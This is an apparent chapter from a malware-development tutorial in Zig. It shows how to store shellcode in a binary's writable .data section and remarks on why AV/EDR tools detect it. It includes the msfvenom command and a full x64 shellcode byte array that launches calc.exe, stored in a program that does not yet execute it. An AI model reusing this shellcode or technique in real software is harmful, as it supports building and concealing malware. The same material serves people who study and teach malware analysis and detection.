.data Section
TL;DR
The .data
section contains global variables that are readable and writable.
Placing shellcode here is the simplest approach—declare a mutable array with the
payload bytes. At runtime the code can reference this array directly, but it is
also easily spotted during static analysis. Security tools often check the .data
section for suspicious byte sequences. This chapter illustrates the basic method
of embedding shellcode in .data
and highlights why it may be detected quickly.
What Is Payload?
To execute the malicious code, we must load the malicious stuff into the binary somehow. And this malicious stuff, is the so called "payload" or "shellcode".
We'll use the payload generated by MSFvenom for every examples in "Payload Placement". You can copy and paste the following command to generate the payload first. But since it's generated in C array format, I'll recommend you just copy and paste the corresponding payload in my code, which is already translated from C array to Zig array by AI.
Sections
For those who visited this project, I'll assume you already know what is "section" and know the basics of the following common sections.
- .bss section
- Uninitialized global variables
- .data section
- Initialized global variables
- .rdata section
- Read-only data (strings, vtable, etc)
- .text section
- Code segment, stores machine codes
- .rsrc section
- Resource section, only exists on Windows. It often stores graph, icon, etc
For more details: Special Sections - MSDN.
Code Walkthrough
In this chapter, I will show you how to store out payload into .data section.
const std = @import("std");
const print = std.debug.print;
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .data saved payload (var data goes to .data section in Zig)
var data_section_payload = [_]u8{
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00,
};
/// Helper function to wait for Enter key
/// Similar usage as `getchar()` in C
fn waitForEnter() void {
var buffer: [256]u8 = undefined;
_ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}
pub fn main() !void {
print("[i] Payload address: 0x{X} \n", .{@intFromPtr(&data_section_payload)});
print("[i] Data size: {d} bytes\n", .{data_section_payload.len});
print("[i] Payload stored in .data section (read-write)\n", .{});
print("[#] Press <Enter> To Quit ...", .{});
waitForEnter();
}
Actually, it's easy to put the payload in .data section, just declare a global var and that's it! Although it's simple, it's also easy for malware analyst and reverse engineer to notice that. And it hash high possibility to be detected for most of the AV/EDR.